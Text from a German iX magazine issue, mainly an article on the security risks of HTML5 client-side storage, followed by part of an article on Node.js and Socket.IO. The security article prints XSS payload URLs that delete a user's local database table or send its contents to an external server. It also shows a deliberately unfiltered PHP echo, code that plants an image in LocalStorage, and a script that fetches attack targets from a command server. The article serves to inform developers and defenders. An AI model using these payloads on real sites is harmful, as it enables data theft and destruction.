116 PRAXIS Webstandards Lokaler Speicher in HTML5: Risiko für Websicherheit Gib mir 5 Frank Ruske Daten beim Webclient zu speichern, wie es alle HTML5 unterstützende Browser schon jetzt erlauben, stellt ein nicht zu unterschätzendes Risiko für Anwender und Webseiten-Betreiber dar dadurch, dass Schadcode zukünftig lokal gespeichert werden kann. Webbenutzer sehen sich einer ständig steigenden Anzahl von Angriffen ausgesetzt. Grund genug, die Features des kommenden HTML5 näher auf neue Angriffsvektoren hin zu untersuchen, damit Benutzer und Anwendungsentwickler die auf sie zukommenden Sicherheitsprobleme kennen. Zumal einige Browser die HTML5-Eigenschaften schon unterstützen. Im Zusammenhang mit HTML5 ergeben sich Gefahrenpotenziale von Desktop Notifications oder Web Sockets bis hin zu Cross Domain Ajax Requests. Vor allem aber Cross-Site Scripting (XSS) und Cross-Site Request Forgery (XSRF), um die es im Folgenden gehen soll (zu Erläuterungen der Begriffe siehe den Kasten Blick zurück auf XSS und XSRF ). Google OS (Herbst 2010), Google TV, ipad ohne Flash der Trend geht zu Anwendungen, die ohne zusätzliche Browser-Plug-ins oder Software auskommen. Die HTML5-Spezifikation hat unter anderem das Ziel, solche Webanwendungen standardkonform zu ermöglichen. Im Sommer 2004 hatte die Web Hypertext Application Technology Working Group (WHATWG) mit der Spezifikation angefangen, und der damalige Name (Web Applications 1.0) gab schon die Richtung vor, in die es gehen sollte hat das W3C die Spezifikation als Basis für die neue HTML Working Group übernommen. Die Spezifikation ist bei beiden Gruppen noch in Bearbeitung. Die HTML Working Group [c] will den letzten Meilenstein der HTML5-Spezifikation Ende 2010 erreichen. Firmen wie Google drücken schon aus wirtschaftlichen und strategischen Gründen auf das virtuelle Gaspedal beim Implementieren der neuen Features. Seit Januar bietet YouTube die Option, Videos in HTML5 statt mit Flash abzuspielen. Googles, auf der Rendering Engine Webkit basierender Browser Chrome unterstützt schon jetzt eine Vielzahl der für HTML5 geplanten Eigenschaften, und mit jeder neuen Release kommen weitere hinzu. So wurde erst vor Kurzem eine Chrome- Version mit dem VP8/WebM-Format für HTML5-Video ausgeliefert. Google war durch die Übernahme des Videospezialisten On2 Technologies in den Besitz des Videocodecs VP8 gekommen und hat ihn anlässlich der Entwicklerkonferenz Google I/O unter einer Open-Source-Lizenz veröffentlicht. Die anderen Browser (Opera, Firefox und IE9) wollen den Anschluss ebenfalls nicht verlieren und unterstützen den Codec in ihren derzeitigen Browserversionen. Lediglich Safari setzt nach wie vor auf den hauseigenen und patentierten Codec H.264 rund um die Quicktime-Produktpa - lette. Der Codec ist Apples natives Format auf ipads, iphones und ipods. Mit HTML5 wandeln Webapplikationen sich zunehmend zu vollwertigen Anwendungen mit Zugriff auf das Dateisystem, eine lokale Datenbank et cetera. Marktplatz der Anwendungen Der für Ende des Jahres angekündigte Chrome Webstore soll ein Marktplatz für Anwendungen von HTML5 werden ähnlich dem App Store von Apple. Höchste Zeit, die HTML5-Spezifika - tion in Bezug auf neue Angriffsvek - toren genauer anzusehen. Eine der essenziellen Grundfunktionen autonomer 116 ix 11/2010

117 Listing 1: SessionStorage nutzen // Schreiben des Session Storage if("sessionstorage" in window) { sessionstorage.setitem('firstname', 'Frank'); sessionstorage.setitem('lastname', 'Ruske'); } // Auslesen aller Key-Value-Paare für die lokalen Session-Daten if("sessionstorage" in window) { for(i = 0; i < sessionstorage.length; i++) { document.write ("KEY: " + sessionstorage.key(i)); document.write ("VALUE: " + sessionstorage.getitem(sessionstorage.key(i))); } } Listing 2: Lokaler Speicher über Session-Grenzen // Schreiben des lokalen Storage if("sessionstorage" in window) { localstorage.setitem('firstname', 'Frank'); localstorage.setitem('lastname', 'Ruske'); } // Auslesen aller Key-Value-Paare für den lokalen Storage if("localstorage" in window) { for(i = 0; i < localstorage.length; i++) { document.write("key: " + localstorage.key(i)); document.write("value: " + localstorage.getitem(localstorage.key(i)); } } Anwendungen ist es, Daten lokal speichern zu können. Folgerichtig sieht HTML5 gleich mehrere neue Wege vor, Daten mit JavaScript temporär oder dauerhaft auf dem Client zu speichern: als Session - Storage, LocalStorage und Database - Store: Ersterer erlaubt es, die Daten einer Benutzer-Session lokal vorzuhalten. In Webanwendungen dienen diesem Zweck Cookies, die eine serverseitige Sessionverwaltung ermöglichen. Mit dem SessionStorage von HTML5 kann man bis zu 5ˇMByte an Daten im Browser des Benutzers aufbewahren. Das Auslesen und Schreiben des Speichers erfolgt per JavaScript-API-Zu griff (siehe Listingˇ1). Die hinterlegten Daten sind nur temporär, für die aktuelle Session gültig. Sobald der Benutzer den Browser neu startet oder die Webseite in einem neuen Browser-Tab öffnet, sind die Ses - sion-daten nicht mehr verfügbar. Als eine Variante wartet HTML5 mit einer LocalStorage-API auf. Hier können, laut Empfehlung des W3C, 5 bis 10 MByte an Benutzerdaten pro Domain gespeichert werden. Der große Unterschied zu SessionStorage ist das dauerhafte Speichern. Ruft der Benutzer die Domain zu einem be lie - bigen späteren Zeitpunkt erneut auf, stehen die zuvor gesicherten Daten wieder zur Verfügung (siehe Listingˇ2). Eine sicherheitsrelevante Besonderheit ist, dass man den Zugriff auf den LocalStorage nicht auf einen Domainpfad beschränken kann, ähnlich wie x-tract In dem Maße, in dem Browserhersteller die für HTML5 geplante Speicherung von Daten beim Client umsetzen, drohen Gefahren, die bislang für Server galten, allen Anwendern. Cross-Site Scripting und Cross-Site Request Forgery sind die meistgenutzten Techniken, mit denen Betrüger versuchen, an Nutzerdaten heranzukommen. Angriffsziele sind sowohl temporär gespeicherte Daten als auch beim Client vorgehaltene Datenbanken wie SQLite. Da nach dem Löschen der Tabelle foo das in derselben Transaktion folgende INSERT-Statement ins Leere läuft, bewirkt das Rollback die Darstellung der in der ersten Transaktion erzeugten Tabelle (Abb.ˇ1). es bei Cookies die Path-Angabe erlaubt. Das heißt, dass sich URIs wie und www. servera.com/user2 denselben Local - Storage teilen. Vom Browser des User1 in den lokalen Speicher geschriebene Daten kann User2 ebenfalls auslesen und vice versa. In der HTML5-Spezifikation für Web Storage heißt dieses Angriffsszenario Cross directory attack [f]. Das W3C empfiehlt in seiner aktuellen Spezifikation in Abschnitt 7.2: Authors on shared hosts are therefore recommended to avoid using these features [ ]. In diesem Zusammenhang ist der Datenbank-Speicher (DatabaseStorage) die vermutlich mächtigste und gefährlichste neue Eigenschaft. Sie ermöglicht es, eine lokale Datenbank mit der Struc - tured Query Language (SQL) per Java - Script zu steuern. Gefährlichste Waffe Datenbank Für den Aufbau einer lokalen Datenbankverbindung reicht der Aufruf der JavaScript-Funktion opendatabase() aus (siehe Listingˇ3). Ist die Datenbank bisher nicht vorhanden, erstellt dieser Aufruf sie gleichzeitig. Eine Transaktion leitet db.transaction() ein, eine Query führt executesql() aus. Abbildungˇ1 zeigt das Ergebnis nach dem Aufruf des Skripts im Browser. Die Datenbank speichert den Wert bazboo nicht, da dieselbe Transaktion die TaiX 11/

118 PRAXIS Webstandards Wer Zugriff auf die SQLite-Masterdaten bekommt, kann sich Meta-Informationen über die DB-Struktur besorgen (Abb.ˇ2). belle foo per DROP löscht. Da das darauf folgende INSERT-Statement aufgrund der zuvor gelöschten Tabelle fehlschlägt, wird ein Rollback durchgeführt und die Tabelle nicht gelöscht. Der Nutzen lokaler Datenbanken liegt auf der Hand: Webanwendungen sollen in der Lage sein, offline zu funktionieren und ohne Verbindung zum Server Daten dauerhaft speichern Listing 3: Lokale Datenbank ansprechen <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web Datenbank</title> </head> <body> <div id='db_results'></div> <script> var db = opendatabase('testdb', '1.0', 'Meine Datenbank', 2 * 1024); db.transaction(function (tx) { tx.executesql('drop TABLE foo'); }); db.transaction(function (tx) { tx.executesql('create TABLE IF NOT EXISTS foo (id unique, text)'); tx.executesql('insert INTO foo (id, text) VALUES (1, "foobar")'); tx.executesql('insert INTO foo (id, text) VALUES (2, "barbaz")'); document.getelementbyid('db_results').innerhtml += '<li>tabelle "foo" erstellt und Datensatz "foobar" hinzugefügt.</li>'; }, function (err) { document.getelementbyid('db_results').innerhtml += '<li>rollback aufgrund des Fehlers: <code>' + err.message + '</code></li>'; }); db.transaction(function (tx) { tx.executesql('drop TABLE foo'); // provozierter Fehler. tx.executesql('insert INTO foo (id, text) VALUES (3, "bazboo")'); }, function (err) { document.getelementbyid('db_results').innerhtml += '<li>rollback aufgrund des Fehlers: <code>' + err.message + '</code></li>'; }); // Auslesen von Daten db.transaction(function(tx) { tx.executesql('select id, text FROM foo', [], function(tx, result) { document.getelementbyid('db_results').innerhtml += '<li>anzahl Datensätze:' + result.rows.length +'</li>'; for (var i = 0, item = null; i < result.rows.length; i++) { item = result.rows.item(i); document.getelementbyid('db_results').innerhtml += '<li>id: '+item['id']+'</li>'; document.getelementbyid('db_results').innerhtml += '<li>text: '+item['text']+'</li>'; } }); }); </script> <?php echo $_GET['name']?> zu können. Die Gefahr ist allerdings ebenso offensichtlich: Die komplette Datenbank ist per JavaScript ansteuerbar, somit sind alle bekannten Gefahren von SQL Injection auf die lokale SQL-Datenbank des Benutzers übertragbar. Im Gegensatz zu serverseitig generierten Datenbankanfragen ist es nicht mehr unbedingt notwendig, eine vorhandene Anfrage anhand schlecht validierter Parameter zu verändern. Enthält die Webseite eine einzige XSS-Lücke, kann man komplette Statements im Kontext der Seite ausführen. Zur Verdeutlichung enthält Listingˇ3 eine recht offensichtliche XSS-Lücke; das Skript gibt den Übergabeparameter $_GET [ name ] ungefiltert aus. Per XSS können Angreifer im Client gespeicherte Daten einfach manipulieren, löschen oder stehlen. Wie leicht dies zu bewerkstelligen ist, zeigen die in Listingˇ4 und 5 dargestellten Links. Die momentane WebKit-Implementierung benutzt als Format für den Datenbankspeicher SQLite. Die SQLite- Master-Datenbank ist ebenfalls per SQL lokal ansteuerbar, somit kann ein Angreifer gezielt Meta-Informationen über die Datenbankstruktur in Erfahrung bringen, beispielsweise welche Tabellen und Felder es gibt, über die es sich lohnt, beim Abgreifen der Daten zu iterieren. Statische Daten lokal vorhalten Ein weiteres denkbares Einsatzszenario für die Verwendung von clientseitigem Storage ist das Caching beziehungsweise lokale Speichern statischer Daten wie Bilder. HTML erlaubt das Einbinden von base64-codierten Binärdaten als src-attribut von Bildelementen: <img src="data:image/png;base64,..." /> CSS3 unterstützt ebenfalls base64-codierte Bilder: background: url('data:image/png;base64,...'); Für mobile Applikationen ergibt es durchaus Sinn, Bilddateien nicht im Filesystem, sondern im lokalen Speicher des Clients abzulegen. Zum einen sind die Binärdaten sofort verfügbar, zum anderen kann JavaScript sie komplett in eine einzelne HTML-Datei einbetten und als eine einzige Datei ausliefern. Außerdem kann man in diesem Anwendungsszenario Bilddateien einfach per JavaScript aktualisieren. Um die Fakten zusammenzufassen: HTML5 erlaubt es, base64-codierte Strings als Bilddateien einzubinden, und JavaScript erlaubt lokales Speichern von Strings in persistenten Datenbanken auf dem Client. Somit ermöglichen XSS- Sicherheitslücken einem Angreifer das Speichern von Binärdateien auf der Festplatte eines Anwenders. Eine einzige solche Lücke in einer Webanwen- 118 ix 11/2010

119 Listing 4: Löschen einer Tabelle (tx) { tx.executesql ("DROP table foo", [], function(tx, result) { alert(/lol, your data is gone/) }); });</script> Listing 5: Datensatz an externen Webserver senden (Datenklau) /html5.security.local/examples/database3.php?name=<script>db.transaction(function (tx) { tx.executesql ("SELECT text FROM foo where id = 2", [], function(tx, result) { document.write('<img src=" / %2B result.rows.item(0)['text'] %2B '">'); }); });</script> dung kann deshalb schon bewirken, dass ein Angreifer beispielsweise base64-codierte Kinderpornos auf dem Rechner des unbedarften Benutzers speichert, ohne dass der irgendetwas davon mitbekommt. Listingˇ6 spielt das Szenario durch. Autonome Anwendung heißt offline Fazit der neuen Techniken: Webanwendungen entwickeln sich mit HTML5 zu autonomen Anwendungen, die auch offline funktionieren; der Schadcode dürfte sich anpassen. Im Offline-Modus können Daten verändert und gespeichert werden. Eine Synchronisa tion findet erst statt, wenn der Benutzer erneut online ist. XSS hat als primäres Angriffsziel den Benutzer einer Webanwendung. Die Speicherung des Schadcodes auf dem Client (persistentes XSS) erlaubt es, das Opfer mit dauerhaftem Schadcode zu infizieren. Selbst wenn eine XSS-Lücke in einer Webanwendung geschlossen wurde, heißt dies noch lange nicht, dass es keine infizierten Clients mehr gibt. Der Schadcode verbleibt so lange im lokalen Storage des Clients, bis die Anwendung die Daten explizit löscht, was lange dauernde Infektionen zur Folge haben kann. Für den Serverbetreiber ist es nahezu unmöglich festzustellen, dass keine infizierten Clients mehr existieren. Lokales Speichern von Daten weckt außerdem Begehrlichkeiten seitens der Webentwickler und Produkthersteller. Es ist bequem und performant, Daten über JavaScript auf dem Client abzulegen und bei Bedarf zeitnah zur Ver - fügung zu stellen. Der Server kann durch lokales Caching ebenfalls entlastet werden. Weitere Anwendungsszenarien sind das Sammeln von Daten zum Auswerten des Surfverhaltens, das Speichern persönlicher Informationen oder ein lokales Ablegen von Session- Daten. Kein blindes Vertrauen, bitte Listing 6: Bild unterschieben <!DOCTYPE html> <html> <head><meta charset="utf-8"></head> <body> <img id="logo_here"> <script> var storage = window['localstorage']; var icon_elem = document.getelementbyid("logo_here"); icon_elem.src = localstorage.image; </script> <!-- XSS Exploit Code --> <script> var evilimage = 'data:image/jpeg;base64,'+ 'AAAANSU9jPZ...yII='; localstorage.setitem('image', evilimage); </script> Listing 7: Schadcode beim Anwender <!DOCTYPE html> <html> <head> <title>callback</title> </head> <body> <script> /* * URL: * returns JSON String * attackserver ({"servers":[" " */ url = ' script = document.createelement('script'); script.src = url; document.body.appendchild(script); function attackserver(result) { for (i = 0; i < result.servers.length; i++) { doattack(result.servers[i]); } } function doattack(server) { alert('attack Server ' + server + ' now') } </script> All dies ist mit den populären Browsern heutzutage realisierbar. Man sollte jedoch nicht außer Acht lassen, dass Daten auf einem Server meist einen besseren Schutz genießen als auf der Festplatte des Otto-Normalbürgers. Das HTTP_ONLY-Cookie-Flag, einst aus sicherheitstechnischen Gründen eingeführt, sollte verhindern, dass JavaScript Cookies auslesen oder überschreiben kann. Künftig können Skripte komplette lokale Datenbestände des Browsers auslesen/überschreiben. Webentwickler ix 11/

120 PRAXIS Webstandards Unter Cross-Site Scripting (XSS) versteht man das Einschleusen von schädlichem HTML- und JavaScript-Code in eine Webseite. Entgegen anderen Angriffsszenarien steht bei XSS der Benutzer des Browsers im Mittelpunkt des Angriffs. Der eingeschleuste Code wird im Kontext des Opfers ausgeführt, womit man Zugriffskontrollmechanismen wie die sogenannte Same Origin Policy aushebeln kann. Ziel des XSS ist es, an sensible Daten des Benutzers zu gelangen, um beispielsweise seine Benutzerkonten zu übernehmen oder Aktionen im Kontext des eingeloggten Benutzers auszunutzen (Cross-Site Request Forgery, XSRF oder CSRF). Man unterscheidet drei Arten von XSS-Angriffen: Beim nichtpersistenten Cross-Site Scripting wird der Schadcode nur temporär bei der jeweiligen Generierung der Webseite eingeschleust, nicht aber gespeichert. Im Gegensatz dazu erfolgt beim persistenten Cross-Site Scripting eine dauerhafte Speicherung des Schadcodes auf dem Zielsystem. Beide Varianten greifen die serverseitige Geschäftslogik an, die das manipulierte und Schadcode enthaltende HTML als Antwort an den Browser des Benutzers ausliefert. DOM basiertes Cross-Site Scripting wiederum greift die Geschäftslogik im Browsers Blick zurück auf XSS und XSRF an. Oft laufen diese Angriffe nicht über den Server des Webseiten-Betreibers, was es für ihn erschwert, solche Angriffe zu erkennen und etwaige Schwachstellen in der jeweiligen Anwendung zu lokalisieren. Laut dem Open Web Application Security Project (OWASP) liegt XSS derzeit auf Platz zwei der gefährlichsten Sicherheitslücken in Webanwendungen [d]. Auf Platz eins findet sich unter dem Sammelbegriff Injec - tions ein prominenter Vertreter von Angriffen auf Web anwendungen wieder: die SQL Injections. Bei diesen manipulieren Angreifer Datenbankabfragen und lesen sensible Daten aus oder verändern sie. Cross-Site Request Forgery nennt man einen Angriff, der die Vertrauensstellung, die ein Benutzer gegenüber einer Webanwendung hat, ausnutzt. HTTP ist ein zustandsloses Protokoll. Der Browser des Benutzers schickt eine Anfrage an einen Webserver, der wiederum antwortet auf die Anfrage und schließt die Verbindung beziehungsweise vergisst den Benutzer. Um dennoch moderne Webanwendungen zu realisieren, wurden Cookies eingeführt. Der Browser des Benutzers kann bei jedem Request einen Cookie mitschicken, den die Webanwendung auf dem Server auswertet. Somit kann die Webanwendung den Benutzer wiedererkennen. Diese Vertrauensstellung machen sich CSRF-Angriffe zunutze. Ziel ist es, den Benutzer ohne sein Wissen zu einer automatisierten Aktion zu bewegen, beispielsweise das Ändern seines Passwortes oder das Editieren von Datenbankeinträgen. Dies kann beispielsweise durch das Einbinden eines Bildes auf einem fremden Server passieren: <img src=" deleteuser&id=1"> Ruft der Administrator der Webseite exam ple.com die Seite mit dem eingegebenen Bild auf, lädt der Browser das Bild neu. Hierzu schickt er einen Request mit dem Cookie des Administrators an example.com. Der Server interpretiert diesen Request als Aufforderung, den Benutzer mit der IDˇ1 zu löschen. Aufgrund des mitgeschickten Cookie wird die Vertrauensstellung ausgenutzt und die Aktion ausgeführt, da der Server denkt, der Administrator habe den Request ausgeführt. XSRF-Angriffe kommen oftmals in Kombination mit XSS-Angriffen, da so im Kontext der angegriffenen Webseite die Same Origin Policy umgangen werden kann. Diese Vorgabe besagt, dass JavaScript nur Aktionen auf dieselbe Domain ausführen darf, unter der es läuft. So kann ein auf Server a.com eingebettetes JavaScript beispielsweise keinen POST-Request auf Server b.com abschicken. sollten daher sicherstellen, dass sensible Daten nicht auf dem Client verbleiben und alle lokal abgelegten Daten regelmäßig aktualisieren und zeitnah löschen. Weiterhin dürfen sich Webentwickler nicht auf die Daten des Clients verlassen, denn die lassen sich einfach manipulieren. Wer den lokalen Daten des Benutzers blind vertraut und sie ohne ausreichende Validierung im Programmkontext des Servers weiter verarbeitet, läuft Gefahr, in die Falle serverseitiger SQL Injection zu stolpern. Zur Illustration: Angenommen AngreiferˇA schafft es, durch Ausnutzen Onlinequellen [a] HTML5 (W3C) [b] HTML5 (WHATWG) [c] HTML-Arbeitsgruppensatzung: abzuliefernde Ergebnisse [d] OWASP Top [e] Botnet (Wikipedia-Eintrag) en.wikipedia.org/wiki/botnet [f] Web Storage als Teil dev.w3.org/html5/webstorage/ von HTML5 einer XSS-Sicherheitslücke auf Serverˇ1 persistenten Schadcode in den lokalen Speicher von BenutzerˇB zu injizieren. Der Code beinhaltet eine Routine, die sich von einem Command Server neue Angriffsziele herunterlädt, etwa per JavaScript-Callback-Funktion. Dieser Schadcode würde nun versuchen, beliebige Server anzugreifen. Der Unterschied zur momentanen Situation ist, dass Serverˇ1, der die XSS-Lücke aufgewiesen hat, an dem Angriff auf Serverˇ2 unbeteiligt ist. Der Schadcode wird nicht mehr über ihn an den BenutzerˇB ausgeliefert, sondern befindet sich schon in dessen lokalem Speicher. Daher spielt es keine Rolle, ob die ursprüngliche XSS-Sicherheitslücke auf Serverˇ1 geschlossen wurde. Greift dieser Schadcode nun einen Serverˇ2 an, so kann BenutzerˇB nicht beweisen, das er nichts mit dem Angriff zu tun hat, da alle HTTP-Requests direkt von seinem Rechner ausgehen und Serverˇ1 keine Sicherheitslücke mehr aufweist. Auf diesem Weg könnten beispielsweise alle infizierten Clients über einen Control And Command Server (siehe [e]) den Befehl bekommen, eine verteilte Denial-of-Service-Attacke auszuführen. Der Webserver, der die ursprüngliche Sicherheitslücke beinhaltet hat, ist für diesen Prozess nicht mehr notwendig. (hb) FRANK RUSKE ist als Software Engineer bei der Mayflower GmbH tätig und verfügt über mehr als 10 Jahre Berufserfahrung. Er schreibt regelmäßig Fachartikel und hält Vorträge auf Konferenzen wie der International PHP Conference. x 120 ix 11/2010

121 PRAXIS JavaScript JavaScript wird meistens nur mit Browsern in Verbindung gebracht. Zwar gibt es seit Jahren serverseitige Software, die sich mit der Skriptsprache ansprechen lässt, auf breites Interesse ist dies aber nie gestoßen, wohl weil die Verbreitung dieser Serverlösungen an sich schon eher gering ist. Dass sich dies nun ändert, hat seinen Grund. Seit sich die Browserhersteller mit immer schnelleren JavaScript-Engines gegenseitig übertrumpfen wollen, ist das gute alte JavaScript ins Blickfeld von Leuten gerückt, denen es auf Geschwindigkeit ankommt. Zwar gilt die Sprache wegen ihrer vielen Anleihen bei funktionalen Programmiersprachen als eigen und gewöhnungsbedürftig, nichtsdestotrotz ist sie dank der fast überall installierten Browser die meistverbreitete Programmiersprache der Welt. Fällt die Wahl beim Scripting auf JavaScript, hat man nicht nur eine extrem schnelle Sprache an der Hand, sondern außerdem eine breite Basis an Entwicklern, die sich nicht erst in Python, Ruby oder Lua einarbeiten müssen. Beispielsweise kann man für die immer beliebter werdende Datenbank CouchDB [a] Plugins in JavaScript verfassen. Trend zu REST, Rails und NoSQL Sogar die funktionale Programmierung an sich erlebt momentan ein Revival. So hat Microsoft für.net F# ins Programm genommen, und bezüglich der Java-Plattform ist Scala drauf und dran, Java das Wasser abzugraben. Ein weiterer Trend ist seit Jahren auszumachen: Statt viel zu komplizierter One fits all -Lösungen sind zunehmend Ansätze gefragt, die eine bestimmte Aufgabe einfach und effektiv angehen. Hierzu kann man REST, Rails oder den Trend zu NoSQL-Datenbanken rechnen. Komplexe Anwendungen werden durch die Kombination dieser einfachen Werkzeuge in Angriff genommen. Ryan Dahls Node.JS [b, c, d] ist solch eine Lösung (im Folgenden Node). Wie x-tract Bidirektionale Webanwendungen mit Node und Socket Verknotet Stefan Neumann Obwohl sich das Framework Node.JS mit Version noch in einer frühen Version befindet, hat es schon viele Anhänger gefunden. Auf der Basis von Googles JavaScript-Engine V8 kann man Server-Anwendungen mit JavaScript erstellen. JavaScript es erlaubt, Browser zu programmieren, dient Googles JavaScript- Engine V8 dazu, einen Webserver zu steuern. Obwohl faktisch noch in den Kinderschuhen, findet die Idee regen Zuspruch. Eine stetig wachsende Anzahl von Entwicklern steuert fleißig JavaScript-Code bei, der schon fast alles abdeckt, was das Herz begehrt. Die Kombination aus einfach zu nutzen und rasend schnell verlockt anscheinend. Hierbei wird gerne in den Ideen anderer Programmiersprachen gewildert (siehe den Kasten Module ). Ein Großteil der Faszination, die von Node ausgeht, steckt sicherlich in der Einfachheit, mit der man nicht nur Das über die Kommandozeile nutzbare Framework Node könnte JavaScript auf der Serverseite zu einem neuen Aufschwung verhelfen. Node setzt Googles JavaScript Engine V8 ein und umfasst mittlerweile zahlreiche Module. Mit nur einem Thread verarbeitet Node viele Anfragen parallel. HTTP-, sondern ebenso leicht TCP-Anwendungen implementieren kann. Wer schon mit TCP-Sockets zu tun hatte, dürfte dankbar registrieren, dass man Node nur die IP-Adresse und den Port nennen muss, um ein Programm zu starten. Zwar muss Node außerdem wissen, was beim Auf-/Abbau einer Verbindung und beim Empfang von Daten zu tun ist. Dazu übergibt man drei beim Eintreffen eines Ereignisses aufzurufende JavaScript-Funktionen. Aber Java - Script ist für diese Callbacks gut vor - bereitet, im Browser kommen sie unter anderem bei Ajax zum Einsatz, wenn man eine Funktion mitgibt, die beim Ereignis des Eintreffens von Daten ausgeführt werden soll. Solange der Rechner auf die Daten vom Server wartet, ist er nicht blockiert. Node macht sich dies ebenfalls zunutze und greift damit einen Trend auf: Die bei Webservern erforderliche Nebenläufigkeit (quasi gleichzeitiges Bearbeiten mehrerer Anfragen) wird nicht mehr über mehrere Betriebssytem- Threads realisiert. Stattdessen wird eine Ereignisschleife gestartet, die nur einen ix 11/

122 PRAXIS JavaScript Listing 1: Anwendungsgerüst var http = require('http'); var url = require('url'); var server = http.createserver( function(request, response) { var path = url.parse(request.url).pathname; response.writehead(200, {'Content-Type': 'text/plain'}); response.end(path + '\n'); } ); server.listen(8088, " "); console.log('node.js Listing 2: Erweiterte Funktion für http.createserver function(request, response) { var path = url.parse(request.url).pathname; if (path == '/') path = '/index.html'; } var contenttype = 'text/plain'; var encoding = 'utf8'; var index = path.lastindexof("."); var filetype = ''; if (index >= 0) { filetype = path.substring(index + 1).toLowerCase(); } switch (filetype) { case 'html': contenttype = 'text/html'; break; case 'js': contenttype = 'text/javascript'; break; case 'swf': contenttype = 'application/x-shockwave-flash'; encoding = 'binary'; break; } try { response.writehead(200, contenttype); response.write(fs.readfilesync( dirname + path, encoding), encoding); response.end(); } catch (e) { console.log(e.message); response.writehead(404); response.write('404'); response.end(); } Thread erfordert. Spart man an Threads, spart man Speicher. Das ist der Hauptgrund warum ein Webserver wie Nginx immer noch Anfragen bearbeitet, während Apache längst unter der Last zusammengebrochen wäre. Gerade länger laufende Prozesse verursachen bei Webservern schnell Stockungen, etwa beim Verschicken einer großen Datei oder wenn die Ausgabe von den Antwortzeiten weiterer Webserver abhängt. Während Apache für eine neue Anfrage einen neuen Thread startet, befindet sich Node in einer permanenten, vor dem Programmierer versteckten Ereignisschleife, die zur Abarbeitung zurückkehrt, wenn sonst nichts zu tun ist. Deshalb funktioniert Node mit einer über HTTP ansprechbaren Datenbank wie CouchDB besser als mit einer, die Dateizugriffe erfordert. Node stellt JavaScript dezidiert nichtblockierende Dateizugriffe zur Verfügung. Unter Linux und auf Macs ist das Kommandozeilen-Programm Node leicht zum Laufen zu bringen, obwohl es momentan nur im Sourcecode zu haben ist. Man kann außerdem versuchen, es mit Cygwin auf Windows zu verwenden [e]. Tatsächlich ist es aber wohl einfacher, eine Virtualisierungssoftware wie VirtualBox [f] zu nutzen, um es unter Linux parallel laufen zu lassen. Nach dem Start kann man getrost vergessen, dass der Server auf einem Linux-Rechner installiert ist, und komplett unter Windows arbeiten. Im Internet kursieren gute Anleitungen fürs Vorgehen [g]. Für die Webshell sollte man Firefox verwenden, denn bei Chrome könnte der der für die Verkettung von Ein-/ Ausgabeströmen verwendete senkrechte Strich (Pipe) nicht eingebbar sein. Zum Verschieben von Dateien bietet sich Win SCP [h] an. Da beinahe jeg - liche Weiterentwicklung an und um Node herum auf Linux stattfindet, sind Dinge wie der Node Package Manager [i] dort leicht verwendbar. Pakete ohne Aufforderung verschicken Es steht schon lange auf der Wunschliste mancher Webentwickler, im Browser nicht mehr nur auf das Abholen von Daten angewiesen zu sein. Der Server soll Listing 3: Clientseitiges JavaScript <script type="text/javascript" src="/socketio/socket.io.js"></script> <script type="text/javascript"> io.setpath('/socketio/'); var socket = new io.socket(null, {port:8088}); socket.connect(); function send() { var text = document.getelementbyid('eingabe').value; socket.send(text); } socket.on ('message', function(data) { document.getelementbyid('eingabe').value = data; } ); </script> Listing 4: Erweiterung von socket.on var socket = io.listen(server); socket.on ( 'connection', function(client) { console.log('connected: ' + client.sessionid); client.on('message', function(message) { client.broadcast(message); }); client.on('disconnect', function() { console.log('disconnected: ' + client.sessionid); }); } ); dem Client aktiv Daten schicken können, ohne dass er dazu aufgefordert wird hat Netscape dies erstmals als Server-Push im Navigator umgesetzt. Nach dem Abruf einer Webseite wartet der Browser weiter auf Daten vom Server und baut sie in die Seite ein, sobald sie da sind. Dies geschieht unter Ausnutzung des MIME-Type Multipart, der es erlaubt, mehrere Ressourcen (Texte, Bilder ) auf einmal zu übergeben. Der Standard wurde dahingehend erweitert, dass sozusagen nachträglich eintreffende Daten die vorhandenen ersetzen (multipart/x-mixedreplace) und man so eine bidirektio - nale Verbindung simulieren kann. Fast alle aktuellen Browser unterstützen dies, aber nur Firefox hat das Vorgehen für den XMLHttpRequest (XHR) übernommen. Will man browserübergreifend so etwas wie Chatten in einer Webanwendung realisieren, bleibt nur das sogenannte Polling übrig, dass heißt, der Browser fragt in kurzen Abständen beim Server nach, ob es etwas Neues gibt. Elegant ist anders, daher verwendet man heute nur noch Long Polling. Der Server hält nach einer Anfrage die Verbindung eine gewisse Zeit offen. Soll er in dieser Zeit Daten versenden, kann dies unmittelbar erfolgen, sonst startet der Server nach Ablauf einer festgelegten Zeit die nächste lange Abfrage. Das funktioniert gut und 122 ix 11/2010

123 ix 11/

124 PRAXIS JavaScript steht einer echten bidirektionalen Verbindung kaum nach. Wie oben erläutert, eignet sich Node hierfür gut, da das Offenhalten der Verbindung den Server nicht blockiert. Nichtsdestotrotz sind beide XHRbasierten Verfahren nur Krücken gegenüber der Verwendung von Sockets, die eine echte Datenübertragung (TCP) in beide Richtungen erlauben. Dies setzt aber voraus, dass JavaScript Zugriff auf Sockets hat. Das W3C hat hierfür schon einen Standard parat: Web Sockets [j], bisher nur von Web- Kit-Browsern (Chrome und Safari) unterstützt. Beim Internet Explorer könnte man hierfür Sockets über Ac - tivex integrieren. Häufig greift man aber auf die Sockets zurück, die im Flash-Plug-in eingebaut sind, weil es fast überall vorhanden ist. Verbindungen zwischen Browsern Vielzahl an Node-Modulen Das Node-Wiki listet fast 400 Module auf, die für Node mittlerweile entstanden sind, darunter Datenbankanbindungen für CouchDB, MongoDB, MySQL, Postgre SQL, Redis, SQLite und Tokyo Cabinet. Stellvertretend für eine Vielzahl interessanter Projekte seien hier drei erwähnt: ˇExpress:ˇEiner der ExtJS-Entwickler ist serverseitig bei Node aktiv und hat mehrere Projekte angestoßen, darunter das Middleware Framework Connect, das Lösungen für viele gängige Aufgaben eines Webservers anbietet. Darauf aufbauend entstand Express, ein von Sinatra (Ruby) inspiriertes Framework, das die Entwicklung von REST-Anwendungen erleichtert. Ein ähnliches Konzept verfolgen Grass hopper und Nerve. ˇGeddy:ˇein noch junges Projekt, dass die Goodies von Rails, Merb und ähnlichen Frameworks für Node umsetzt. Zu den unterstützten Datenbanken gehört CouchDB. Es existiert schon eine Schnellanleitung, die demonstriert, wie man mit wenigen Aufrufen der zentralen Anwendung geddy-gen und ein wenig JavaScript ein Datenbank-Frontend zum Laufen bringt. ˇStackVM:ˇDahinter steckt die Absicht, den Umgang mit virtuellen Maschinen zu erleichtern. So kann man unter anderem den Bildschirminhalt einer VM auf eine Webseite streamen. Hierbei kommt neben VNC eine Reihe von Node-Modulen zum Einsatz, darunter Socket.IO. 